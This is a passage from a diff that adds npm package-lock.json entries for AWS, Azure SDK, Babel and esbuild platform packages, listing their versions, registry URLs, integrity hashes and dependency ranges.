"node_modules/@aws/lambda-invoke-store": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@aws/lambda-invoke-store/-/lambda-invoke-store-0.3.0.tgz", + "integrity": "sha512-sl4Bm6yiMNYrZKkqqDFWN0UfnWhlS8ivKxrYl+6t0gCLrqr8y3B2IqZZbFRkfaVVp7C/baApyh71P+LeE1A2sQ==", + "license": "Apache-2.0", + "optional": true, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@azure-rest/core-client": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/@azure-rest/core-client/-/core-client-2.9.0.tgz", + "integrity": "sha512-6933vNLqh06RR7rumnrq3UZIeBtRLeBHDPMrieDPIljiCaMMwt0nRw++nd3TOxiohtasNtm29rC+b/9ZVKCOqg==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure/abort-controller": "^2.1.2", + "@azure/core-auth": "^1.10.0", + "@azure/core-rest-pipeline": "^1.24.0", + "@azure/core-tracing": "^1.3.0", + "@typespec/ts-http-runtime": "^0.3.8", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/abort-controller": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@azure/abort-controller/-/abort-controller-2.2.0.tgz", + "integrity": "sha512-fNAjWnA/nZ2jz31kxR/AqRaUT8ewHBw/WuBIosK0moMy1C9e5ValbDfFdIxJzVOOYaYkV/b2F1S4H/aHiqfVQg==", + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/ai-projects": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/@azure/ai-projects/-/ai-projects-2.7.1.tgz", + "integrity": "sha512-Co7F0ll3bMHV9cYkRv1SgVgu+qnRu1M8Jl4JEfoxxfbF+2PTvnthKU2GQTZSPBr/lfWOcJphni63qNkV3FAauQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure-rest/core-client": "^2.1.0", + "@azure/abort-controller": "^2.1.2", + "@azure/core-auth": "^1.6.0", + "@azure/core-lro": "^3.1.0", + "@azure/core-paging": "^1.5.0", + "@azure/core-rest-pipeline": "^1.5.0", + "@azure/core-sse": "^2.1.3", + "@azure/core-util": "^1.9.0", + "@azure/identity": "^4.13.0", + "@azure/logger": "^1.1.4", + "@azure/storage-blob": "^12.26.0", + "@opentelemetry/api": "^1.9.1", + "https-proxy-agent": "^7.0.1", + "openai": "^6.16.0", + "tslib": "^2.6.2", + "ws": "^8.18.3" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/ai-projects/node_modules/openai": { + "version": "6.49.0", + "resolved": "https://registry.npmjs.org/openai/-/openai-6.49.0.tgz", + "integrity": "sha512-aYCc0C6L864eR6WSYIwQGyXriw/nIyZx0ObvhzOEVuk0zoBDpynjSbrionWI7q65B5H8jJX0DXR9snEzM6bfPg==", + "license": "Apache-2.0", + "optional": true, + "peerDependencies": { + "@aws-sdk/credential-provider-node": ">=3.972.0 <4", + "@smithy/hash-node": ">=4.3.0 <5", + "@smithy/signature-v4": ">=5.4.0 <6", + "ws": "^8.18.0", + "zod": "^3.25 || ^4.0" + }, + "peerDependenciesMeta": { + "@aws-sdk/credential-provider-node": { + "optional": true + }, + "@smithy/hash-node": { + "optional": true + }, + "@smithy/signature-v4": { + "optional": true + }, + "ws": { + "optional": true + }, + "zod": { + "optional": true + } + } + }, + "node_modules/@azure/core-auth": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@azure/core-auth/-/core-auth-1.11.0.tgz", + "integrity": "sha512-IUZydyTUkDnYdstOW9pFOOUQlBjAepK5teihDE3x6yxsPJs/hsAaaYpeGxdxrgtOiJbBKSjKW7MDk7AEhb4LRg==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure/abort-controller": "^2.1.2", + "@azure/core-util": "^1.13.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/core-client": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@azure/core-client/-/core-client-1.11.1.tgz", + "integrity": "sha512-2QygG2F76ZpMP2eMztiJvAiFMu71M9rDeU7vO/QKg5Css7MgM4frUOslFjhVjRhbGaCNPtz/S8M6y46/fFKVuQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure/abort-controller": "^2.1.2", + "@azure/core-auth": "^1.10.0", + "@azure/core-rest-pipeline": "^1.22.0", + "@azure/core-tracing": "^1.3.0", + "@azure/core-util": "^1.13.0", + "@azure/logger": "^1.3.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/core-http-compat": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@azure/core-http-compat/-/core-http-compat-2.5.0.tgz", + "integrity": "sha512-BoSmXPx2er1Ai+wKlDvj29jIQespCNBwEmKyZVHO2kEFsWbGjAjwMCGzug3DJM5/QYIV3vej0S1zcU5bq9fa8w==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure/abort-controller": "^2.1.2" + }, + "engines": { + "node": ">=22.0.0" + }, + "peerDependencies": { + "@azure/core-client": "^1.10.0", + "@azure/core-rest-pipeline": "^1.22.0" + } + }, + "node_modules/@azure/core-lro": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/@azure/core-lro/-/core-lro-3.4.1.tgz", + "integrity": "sha512-TVngxDsWy57cv0r5ZSHICDgr7au9w4g4z8TMbGn8Cp44XVZ/V+mGvylKHRsLQ/zQrmcx35zJWDGZFMXuffgsTg==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure/abort-controller": "^2.1.2", + "@azure/core-util": "^1.13.0", + "@azure/logger": "^1.3.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/core-paging": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/@azure/core-paging/-/core-paging-1.7.0.tgz", + "integrity": "sha512-7GEAoIsaoBr6KELNRb8nypowCqvk8dnCHFCYg4XD4lOQGY2GqjQg5IhkRjyBFRO18CGSMq05PaNqSOE9GQro3g==", + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/core-process": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@azure/core-process/-/core-process-1.0.0.tgz", + "integrity": "sha512-/shnJ+ooO8WPxDhPEeI/2oRQuubn16gZ6CvlbpWbEswZfzwI9tI/sMAHmF3x1LuQ9yZYXfLW3TjzGMLEC5blKg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/core-rest-pipeline": { + "version": "1.25.0", + "resolved": "https://registry.npmjs.org/@azure/core-rest-pipeline/-/core-rest-pipeline-1.25.0.tgz", + "integrity": "sha512-bMs8ekJLjX8wPV+9IPBges1SLPyuDtE9g5gLDWOpxzKcoOFQnpLGkbcT1tdw3FaAmDS1gnPmMmJ6y/T5B96kIA==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure/abort-controller": "^2.1.2", + "@azure/core-auth": "^1.10.0", + "@azure/core-tracing": "^1.3.0", + "@azure/core-util": "^1.13.0", + "@azure/logger": "^1.3.0", + "@typespec/ts-http-runtime": "^0.3.4", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/core-sse": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/@azure/core-sse/-/core-sse-2.4.0.tgz", + "integrity": "sha512-BFNVsoYE843I/q5/OFNHpaYN8TK8W99OwU9ipToYXdwB14o92A16ZjD6JW/BZ8kO7fWSM4jK2EoojAQmXAOExw==", + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/core-tracing": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@azure/core-tracing/-/core-tracing-1.4.0.tgz", + "integrity": "sha512-eGwxD0AtncrxeBM4tG8R55Pc3rdX1hNW2WibJAgYpCVA6E93mvvVH+LcssoVjOBrSKWS55yEIHsk0X8ctHmfOQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/core-util": { + "version": "1.14.0", + "resolved": "https://registry.npmjs.org/@azure/core-util/-/core-util-1.14.0.tgz", + "integrity": "sha512-9n2pWK61veAuN0V20t9lOuoV4CFMdyAZ1ygZzvBGk/pBBJRib/PjL9PLXa/aI2CcPpyHfqVsxxqLCYl6uZlfDw==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure/abort-controller": "^2.1.2", + "@typespec/ts-http-runtime": "^0.3.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/core-xml": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/@azure/core-xml/-/core-xml-1.6.0.tgz", + "integrity": "sha512-e7lX/dk//F6Qf7BB6PTY4+p2yuOQtyOeHGyapYHNwqSp2OnYpwQt49A/Nin2XmKBQ69pwagR4k/lQBq8lbHQkA==", + "license": "MIT", + "optional": true, + "dependencies": { + "fast-xml-parser": "^5.5.9", + "tslib": "^2.8.1" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/identity": { + "version": "4.13.3", + "resolved": "https://registry.npmjs.org/@azure/identity/-/identity-4.13.3.tgz", + "integrity": "sha512-zGQPtqvXPgSA8yfV2CkIQ1qirqk0p9AIVpC5uEkdXQYcKl07QHvyaGYRnZOk0AsQUmxNb4wfkcwY5di8Z5xa9A==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure/abort-controller": "^2.0.0", + "@azure/core-auth": "^1.9.0", + "@azure/core-client": "^1.9.2", + "@azure/core-process": "^1.0.0", + "@azure/core-rest-pipeline": "^1.17.0", + "@azure/core-tracing": "^1.0.0", + "@azure/core-util": "^1.11.0", + "@azure/logger": "^1.0.0", + "@azure/msal-browser": "^5.5.0", + "@azure/msal-node": "^6.0.0", + "open": "^10.1.0", + "tslib": "^2.2.0" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/logger": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@azure/logger/-/logger-1.4.0.tgz", + "integrity": "sha512-rbAE25KUfjU/s3XHUdJgceoCP5dEOpMx85J04kF+QMdta73XkuG9JGHHinch+XIoKpBdqljin+KqURpJriSzLA==", + "license": "MIT", + "optional": true, + "dependencies": { + "@typespec/ts-http-runtime": "^0.3.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/msal-browser": { + "version": "5.23.0", + "resolved": "https://registry.npmjs.org/@azure/msal-browser/-/msal-browser-5.23.0.tgz", + "integrity": "sha512-IRCwkRCK47hBXK+7bu67UZWY7HS0Jx1dZgi4C1HVbjlBum8Jy8fb2l87xFr6HxdQJWy951zRUHtwwDITHFAtaA==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure/msal-common": "16.14.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@azure/msal-common": { + "version": "16.14.1", + "resolved": "https://registry.npmjs.org/@azure/msal-common/-/msal-common-16.14.1.tgz", + "integrity": "sha512-Or6xhPNyi4zHW25158yxBoyxuCqNSPa5YBVqfF1J5Ks4MJWBo/USXdp05DQIPu1Zli00YZu6t0+h6KvHJealxQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@azure/msal-node": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/@azure/msal-node/-/msal-node-6.0.1.tgz", + "integrity": "sha512-ixSO1Y/kCVRthRs+hSx/5qkwaunX1/RAePhlMN0wIpIQ4WEZ6AREGGnGd1AP0qspHVsAwzWQKGubpjh50JyJIQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure/msal-common": "16.14.1", + "jsonwebtoken": "^9.0.0" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/@azure/openai-assistants": { + "version": "1.0.0-beta.6", + "resolved": "https://registry.npmjs.org/@azure/openai-assistants/-/openai-assistants-1.0.0-beta.6.tgz", + "integrity": "sha512-gINKKcqTpR0neF+36Owe0Q1u1JO3IK6clBzWTfZ+9V/TkQq+LoUgp5F8dKvSv/YChfwEpZA2r1DWCwNE07eYIQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure-rest/core-client": "^1.1.4", + "@azure/core-auth": "^1.5.0", + "@azure/core-client": "^1.7.3", + "@azure/core-rest-pipeline": "^1.13.0", + "@azure/core-util": "^1.6.1", + "@azure/logger": "^1.0.4", + "tslib": "^2.2.0" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@azure/openai-assistants/node_modules/@azure-rest/core-client": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@azure-rest/core-client/-/core-client-1.4.0.tgz", + "integrity": "sha512-ozTDPBVUDR5eOnMIwhggbnVmOrka4fXCs8n8mvUo4WLLc38kki6bAOByDoVZZPz/pZy2jMt2kwfpvy/UjALj6w==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure/abort-controller": "^2.0.0", + "@azure/core-auth": "^1.3.0", + "@azure/core-rest-pipeline": "^1.5.0", + "@azure/core-tracing": "^1.0.1", + "@azure/core-util": "^1.0.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@azure/storage-blob": { + "version": "12.34.0", + "resolved": "https://registry.npmjs.org/@azure/storage-blob/-/storage-blob-12.34.0.tgz", + "integrity": "sha512-cXDTCAMwDx8Ng9yUe82kOOd2kPnZ8AQqe4FkLMcpaQ3Mvr3/PXVdvRhyP0FtY5/U5Oh6JGk3EcEibaFOymRLFw==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure/abort-controller": "^2.1.2", + "@azure/core-auth": "^1.9.0", + "@azure/core-client": "^1.9.3", + "@azure/core-http-compat": "^2.2.0", + "@azure/core-lro": "^2.2.0", + "@azure/core-paging": "^1.6.2", + "@azure/core-rest-pipeline": "^1.19.1", + "@azure/core-tracing": "^1.2.0", + "@azure/core-util": "^1.11.0", + "@azure/core-xml": "^1.4.5", + "@azure/logger": "^1.1.4", + "@azure/storage-common": "^12.5.0", + "apache-arrow": "^21.1.0", + "events": "^3.0.0", + "tslib": "^2.8.1" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@azure/storage-blob/node_modules/@azure/core-lro": { + "version": "2.7.2", + "resolved": "https://registry.npmjs.org/@azure/core-lro/-/core-lro-2.7.2.tgz", + "integrity": "sha512-0YIpccoX8m/k00O7mDDMdJpbr6mf1yWo2dfmxt5A8XVZVVMz2SSKaEbMCeJRvgQ0IaSlqhjT47p4hVIRRy90xw==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure/abort-controller": "^2.0.0", + "@azure/core-util": "^1.2.0", + "@azure/logger": "^1.0.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@azure/storage-common": { + "version": "12.5.0", + "resolved": "https://registry.npmjs.org/@azure/storage-common/-/storage-common-12.5.0.tgz", + "integrity": "sha512-bttzuhQiCIwrkzjPDA+AtAR7dg19L/CC6ztcqJ5LfvWpXuys9mHp0UQ0udYnoUvv9SCT9KTR5kqFvFr0e6k0lQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "@azure/abort-controller": "^2.1.2", + "@azure/core-auth": "^1.9.0", + "@azure/core-http-compat": "^2.4.0", + "@azure/core-rest-pipeline": "^1.24.0", + "@azure/core-tracing": "^1.2.0", + "@azure/core-util": "^1.11.0", + "@azure/logger": "^1.1.4", + "events": "^3.3.0", + "tslib": "^2.8.1" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz", + "integrity": "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@borewit/text-codec": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/@borewit/text-codec/-/text-codec-0.2.2.tgz", + "integrity": "sha512-DDaRehssg1aNrH4+2hnj1B7vnUGEjU6OIlyRdkMd0aUdIUvKXrJfXsy8LVtXAy7DRvYVluWbMspsRhz2lcW0mQ==", + "license": "MIT", + "optional": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/@cacheable/utils": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@cacheable/utils/-/utils-2.5.0.tgz", + "integrity": "sha512-buipgOVDkkPXNR5+xBpDw7Zk2n1EvU7qBJCNUcL7rhQ//kfpOXPAvQ511Os0vpLYJ1pZnvudNytkQt2hst3wqA==", + "license": "MIT", + "dependencies": { + "hashery": "^1.5.1", + "keyv": "^5.6.0" + } + }, + "node_modules/@cfworker/json-schema": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/@cfworker/json-schema/-/json-schema-4.1.1.tgz", + "integrity": "sha512-gAmrUZSGtKc3AiBL71iNWxDsyUC5uMaKKGdvzYsBoTW/xi42JQHl7eKV2OYzCUqvc+D2RCcf7EXY2iCyFIk6og==", + "license": "MIT", + "optional": true + }, + "node_modules/@colors/colors": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/@colors/colors/-/colors-1.5.0.tgz", + "integrity": "sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/@dabh/diagnostics": { + "version": "2.0.9", + "resolved": "https://registry.npmjs.org/@dabh/diagnostics/-/diagnostics-2.0.9.tgz", + "integrity": "sha512-R6siwR65Hm+3yfgP7o8DKhNvputQAwfoz9zTc3kyDudnomj2/BcLmD+uGQQPICjuFUp8ounPBU+jmKsocwVVAg==", + "license": "MIT", + "dependencies": { + "@so-ric/colorspace": "^1.1.6", + "enabled": "2.0.x", + "kuler": "^2.0.0" + } + }, + "node_modules/@emnapi/runtime": { + "version": "1.11.3", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.3.tgz", + "integrity": "sha512-Xz4Tpyki7XyrpbUK1jR1AhdAdaXyhhY4lZ3neLodmhpuWfy2PAQN5B46sAiU4liOXGLkHypn/qU+jvfWSCYYLA==", + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.28.2.tgz", + "integrity": "sha512-XExcO+dvLKvVtNTibSTBej1NCAbaGhWn9Ww1ZPx80qsahhPFe/8jgWP0IchNe0F3HwkU7n8ejhH8bjonqht8mQ==", + "cpu": [ + "ppc64" + ], + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.28.2.tgz", + "integrity": "sha512-kXXoiPVVGQcnIYGOeaovwOURpniDBpSq4A03qkQ+BMQqtGG6HYap3xne9C1O1yo4TR3qxlCX5IqqmX6fFo2Lqg==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.28.2.tgz", + "integrity": "sha512-5YfKeeI8qWfBZIX+u2xZC3Zlb3Os/gLS2sbEKM+I4ZOcsWmHS2WLysCcQZDAFRslDUU5Oiq44gf6PYN1vGwG5A==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.28.2.tgz", + "integrity": "sha512-O387ite7SzUyCcy3JQX4P4bLtEA7bLLkx+esve5JHnyYfNTxcVpXZo9jhdB0lTKN44gztELTdU7nS8Nr16Fs1Q==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.28.2.tgz", + "integrity": "sha512-n4KqkOQrraxHJcgjM1RvwbigfQKIKJVpM7xp+KsxiyUSrRdIXnt73VhrPAx0fV44hgfmIVKjxMN9J1t5jySVkw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.28.2.tgz", + "integrity": "sha512-uq6suIWYP37qzGddBKPw5QEQPi6HiLGsO7UmkpfyaYNQ3D+rN6w6WfwH+nuqcGXWvawGwxOEroO4YGnFh95azw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.28.2.tgz", + "integrity": "sha512-n+I0BTSRIoy+d6RPKnEVwql5UwBJolytvY4mAOIEJorKlqgPII8ix6slVVrfZ5Tnj7glIZvloylbB/EJPMWEXw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.28.2.tgz", + "integrity": "sha512-78XJTJkvPs0kz2w61301PJjXl4g7q3JqiYMZ/M/yVI73EHBrCRTgkhu9oqG7vPqq+a/yadEW8aD+agKlk5xrmg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.28.2.tgz", + "integrity": "sha512-XlDnu2q5yoqems+xay6wSAcg9DDD7K9RLKZEBOMZm3ckNpJBvOX20tSfby8KfrrhINDyv9V2YVZKY/SpoGJI8w==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.28.2.tgz", + "integrity": "sha512-pW4AC0P3it8c7do9MVM4p51FzHzdM/TZrerurgRcHJ2WTa1VQ1CIq18xncfpBJw4ojkiZZrKW2yIBWBP92j6Ug==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.28.2.tgz", + "integrity": "sha512-CYbnj78HsIeA+DhgUKgFCfvNsTHFhMMrinUrMZpDXJXKN8T3XViTZ/+wtHeVxEWY8ewSzTFN+nRmSwO2tZaLUQ==", + "cpu": [ + "ia32" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.28.2.tgz", + "integrity": "sha512-buwkd8nsph4R+ajRvw0qM5Hja/TXQow3ptzWO2EbG/cqcIkHloRrdlBtQlshyYGTNFvfkfJ5tpPLVkY4DtsPfQ==", + "cpu": [ + "loong64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.28.2.tgz", + "integrity": "sha512-ZVykbDyk7519VwiNb9Lcj9m8XM6v5V9uKPvrEMkkEedVewf+0itkhahp4HDpgERXhwLRpWFypsGbG/J8s0QjJA==", + "cpu": [ + "mips64el" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.28.2.tgz", + "integrity": "sha512-CAXl+Dtd9UUuJd8pKKdwh6MLm3MUMiqMPmhZ3tTSXPqfyQ3vDl6R5hZdZ/kYojK4ofXtdfSv1tFq8XzWx3heNQ==", + "cpu": [ + "ppc64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.28.2.tgz", + "integrity": "sha512-GeXCej4IQtU1B+QlDV8W/RRvbzI3O/Stss+/bCXv4lZls5WGRtu2a+3JkA3i4qIUlMXpcHebWpF8AkJhATowuA==", + "cpu": [ + "riscv64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.28.2.tgz", + "integrity": "sha512-3H1weTYZPxt/WOhByszQZybS9w5lKzUn1FDMsgEChbHWQwHYQQRfBxgCcZvPhjHfKyJjIievvMmEUawJrdY9Dg==", + "cpu": [ + "s390x" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.28.2.tgz", + "integrity": "sha512-4xTZr1FUmSoQW4XIWmit3tzQrUTZM+N3P0XV8xROKYF50XfI7xeO90+1bZvNwxIufQ9hDQVRJH5YhgPVF8A/HQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.28.2.tgz", + "integrity": "sha512-sSATRjPeDBg3pdgHoQfoYBob11Kk1FGa9lui5RIHZCoCkJa9QKlvl3/vKz2usCmYYjs7ymJR/2Nnsqe+Hjt5nw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.28.2.tgz", + "integrity": "sha512-lqnzCV+mM0gIADaKihiCg6ifgfU2L3h5E33rNQBN1Y4MaVGnzryzmvvf7UHxprpQdE8hpqLolJ9Rl+SkIRDpyw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.28.2.tgz", + "integrity": "sha512-AL2qJILH7lNjrDmCQDvdxMfAUIv8KMNZOvrwAQ8i8//ntL9FflhOyMJ8OZSMBb8/AWXe3/5v5S20y3zCoZWKoQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.28.2.tgz", + "integrity": "sha512-QtiuPytchRyC4rwUKhexJdQKvDuZ6hWloi3igqPQNUJCS1/v9EiO3UTOXR6A3FoMo4fnAKbWJdqaIwhOzh8qEw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.28.2.tgz", + "integrity": "sha512-WkhYDmpTjLvGlScA1rwjRUmhl4k8oXR3cIbtqWmELgU/dFeHHlEllxDvdWcNJV9rbzCexB5vz8gtNewWLgCT7Q==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.28.2", + "resolved": 